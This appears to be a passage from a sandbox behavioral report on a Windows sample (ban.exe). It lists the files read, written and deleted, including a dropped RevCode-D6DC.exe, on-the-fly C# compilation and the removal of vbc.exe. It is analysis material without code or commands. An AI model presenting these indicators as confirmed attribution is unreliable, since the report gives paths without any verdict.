C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\WBEM9xUpgd.dat
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
C:\Windows\sysnative\Branding\basebrd\basebrd.dll
C:\Windows\Branding\Basebrd\basebrd.dll
C:
C:\Windows\sysnative\tzres.dll
\??\PIPE\wkssvc
\??\PIPE\srvsvc

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\ban.exe.config
C:\Users\Seven01\AppData\Local\Temp\ban.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll
C:\Windows\System32\MSVCR120_CLR0400.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\96c8ba86b82ee32f586da00a8b721fda\mscorlib.ni.dll
\Device\KsecDD
C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll
C:\Windows\assembly\pubpol21.dat
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\ea5ca00aa792b96c036a1b3d57b28f9a\System.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SortDefault.nlp
C:\Users\Seven01\AppData\Local\Temp\by314zfe.dll
C:\Users\Seven01\AppData\Local\Temp\by314zfe.pdb
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\00ea0c71c0a045ebceae2b3d938d251f\System.Drawing.ni.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll.aux
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8811a034e0362a8ec740c44c7136725b\System.Core.ni.dll
C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\feeacef715fd335a37a58022b3a2fefb\Microsoft.VisualBasic.ni.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\1033\cscui.dll
C:\Users\Seven01\AppData\Local\Temp\by314zfe.cmdline
C:\Windows\Microsoft.NET\Framework\v4.0.30319\alink.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe.config
C:\Users\Seven01\AppData\Local\Temp\by314zfe.0.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Drawing.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Core.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorpehost.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\default.win32manifest
C:\Users\Seven01\AppData\Local\Temp\CSCA6142ECCF3674536A7F165D12EA292E.TMP
C:\Users\Seven01\AppData\Local\Temp\RESB17D.tmp
C:\Windows\System32\tzres.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabC572.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC573.tmp
\DEVICE\NETBT_TCPIP_{C2D43895-0262-4873-A789-C2F96D24B693}
\DEVICE\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}
C:\Windows\System32\wbem\wbemdisp.tlb
C:\Windows\SysWOW64\stdole2.tlb
C:\Users\Seven01\AppData\Roaming\RevCode-D6DC.exe
C:\Users\Seven01\AppData\Local\Temp\Cab3F77.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar3F78.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab41BB.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar41BC.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab423A.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar423B.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab42A9.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar42AA.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4319.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar431A.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4398.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4399.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4407.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4418.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4476.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4477.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab44E6.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar44E7.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4565.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4566.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab45D4.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar45D5.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4644.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4645.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab46B3.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar46B4.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4732.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4733.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab47A1.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar47B2.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab484F.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4850.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab48CE.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar48CF.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab494D.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar494E.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab49CC.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar49CD.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4A3C.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4A3D.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4C32.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4C33.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4CA1.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4CA2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC166.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC167.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC262.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC263.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC2C1.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC2C2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC340.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC341.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC3A0.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC3A1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC41F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC420.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC47F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC480.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC4EE.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC4EF.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC55E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC55F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC5CD.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC5CE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC62D.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC62E.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC69C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC69D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC6FC.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC6FD.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC77B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC77C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC7EA.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC7EB.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC869.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC86A.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC8C9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC8CA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC938.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC939.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC998.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC999.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCA27.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCA28.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCB90.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCB91.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCC0F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCC10.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab24C0.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar24C1.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab281E.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar281F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB4FE.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB4FF.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB6E4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB6E5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB763.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB764.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB7E2.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB7E3.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB852.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB853.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB8E0.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB8E1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB950.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB951.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB9CF.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB9D0.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBA3E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBA3F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBABD.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBABE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBBC9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBBCA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC48.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC49.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBCC7.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBCC8.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBD36.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBD37.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBDC5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBDC6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBE44.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBE45.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBEC3.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBEC4.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBF42.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBF43.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBFC1.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBFC2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC05F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC060.tmp
C:\Users\Seven01\AppData\Local\Temp\CabE6C5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarE6C6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabE754.tmp
C:\Users\Seven01\AppData\Local\Temp\TarE755.tmp
C:\Windows\sysnative\wbem\WmiPrvSE.exe
C:\Windows\inf\hdaudio.PNF
\??\PIPE\samr
C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\INDEX.BTR
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
C:\Windows\Branding\Basebrd\basebrd.dll
C:
C:\Windows\sysnative\tzres.dll
\??\PIPE\wkssvc
\??\PIPE\srvsvc

Write Files

C:\Users\Seven01\AppData\Local\Temp\by314zfe.tmp
C:\Users\Seven01\AppData\Local\Temp\by314zfe.0.cs
C:\Users\Seven01\AppData\Local\Temp\by314zfe.dll
C:\Users\Seven01\AppData\Local\Temp\by314zfe.cmdline
C:\Users\Seven01\AppData\Local\Temp\by314zfe.out
C:\Users\Seven01\AppData\Local\Temp\by314zfe.err
C:\Users\Seven01\AppData\Local\Temp\by314zfe.pdb
C:\Users\Seven01\AppData\Local\Temp\CSCA6142ECCF3674536A7F165D12EA292E.TMP
C:\Users\Seven01\AppData\Local\Temp\RESB17D.tmp
C:\Users\Seven01\AppData\Roaming\RevCode-D6DC.exe
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabC572.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab3F77.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab41BB.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab423A.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab42A9.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4319.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4398.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4407.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4476.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab44E6.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4565.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab45D4.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4644.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab46B3.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4732.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab47A1.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab484F.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab48CE.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab494D.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab49CC.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4A3C.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4C32.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4CA1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC166.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC262.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC2C1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC340.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC3A0.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC41F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC47F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC4EE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC55E.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC5CD.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC62D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC69C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC6FC.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC77B.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC7EA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC869.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC8C9.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC938.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC998.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCA27.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCB90.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCC0F.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab24C0.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab281E.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB4FE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB6E4.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB763.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB7E2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB852.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB8E0.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB950.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB9CF.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBA3E.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBABD.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBBC9.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC48.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBCC7.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBD36.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBDC5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBE44.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBEC3.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBF42.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBFC1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC05F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabE6C5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabE754.tmp
\??\PIPE\samr
C:\Windows\sysnative\wbem\repository\WRITABLE.TST
C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\INDEX.BTR
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\PIPE\wkssvc
\??\PIPE\srvsvc

Delete Files

C:\Users\Seven01\AppData\Local\Temp\by314zfe.cmdline
C:\Users\Seven01\AppData\Local\Temp\by314zfe.0.cs
C:\Users\Seven01\AppData\Local\Temp\by314zfe.dll
C:\Users\Seven01\AppData\Local\Temp\by314zfe.pdb
C:\Users\Seven01\AppData\Local\Temp\by314zfe.err
C:\Users\Seven01\AppData\Local\Temp\by314zfe.out
C:\Users\Seven01\AppData\Local\Temp\by314zfe.tmp
C:\Users\Seven01\AppData\Local\Temp\RESB17D.tmp
C:\Users\Seven01\AppData\Local\Temp\CSCA6142ECCF3674536A7F165D12EA292E.TMP
C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
C:\Users\Seven01\AppData\Local\Temp\CabC572.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC573.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab3F77.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar3F78.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab41BB.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar41BC.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab423A.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar423B.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab42A9.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar42AA.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4319.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar431A.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4398.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4399.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4407.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4418.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4476.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4477.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab44E6.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar44E7.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4565.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4566.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab45D4.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar45D5.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4644.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4645.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab46B3.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar46B4.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4732.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4733.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab47A1.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar47B2.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab484F.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4850.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab48CE.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar48CF.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab494D.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar494E.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab49CC.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar49CD.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4A3C.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4A3D.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4C32.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4C33.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab4CA1.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar4CA2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC166.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC167.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC262.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC263.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC2C1.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC2C2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC340.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC341.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC3A0.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC3A1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC41F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC420.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC47F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC480.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC4EE.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC4EF.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC55E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC55F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC5CD.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC5CE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC62D.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC62E.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC69C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC69D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC6FC.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC6FD.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC77B.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC77C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC7EA.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC7EB.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC869.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC86A.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC8C9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC8CA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC938.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC939.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC998.tmp
C:\Users\Seven01\AppData\Local\Temp\TarC999.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCA27.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCA28.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCB90.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCB91.tmp
C:\Users\Seven01\AppData\Local\Temp\CabCC0F.tmp
C:\Users\Seven01\AppData\Local\Temp\TarCC10.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab24C0.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar24C1.tmp
C:\Users\Seven01\AppData\Local\Temp\Cab281E.tmp
C:\Users\Seven01\AppData\Local\Temp\Tar281F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB4FE.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB4FF.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB6E4.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB6E5.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB763.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB764.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB7E2.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB7E3.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB852.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB853.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB8E0.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB8E1.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB950.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB951.tmp
C:\Users\Seven01\AppData\Local\Temp\CabB9CF.tmp
C:\Users\Seven01\AppData\Local\Temp\TarB9D0.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBA3E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBA3F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBABD.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBABE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBBC9.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBBCA.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBC48.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBC49.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBCC7.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBCC8.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBD36.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBD37.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBDC5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBDC6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBE44.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBE45.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBEC3.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBEC4.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBF42.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBF43.tmp
C:\Users\Seven01\AppData\Local\Temp\CabBFC1.tmp
C:\Users\Seven01\AppData\Local\Temp\TarBFC2.tmp
C:\Users\Seven01\AppData\Local\Temp\CabC05F.tmp
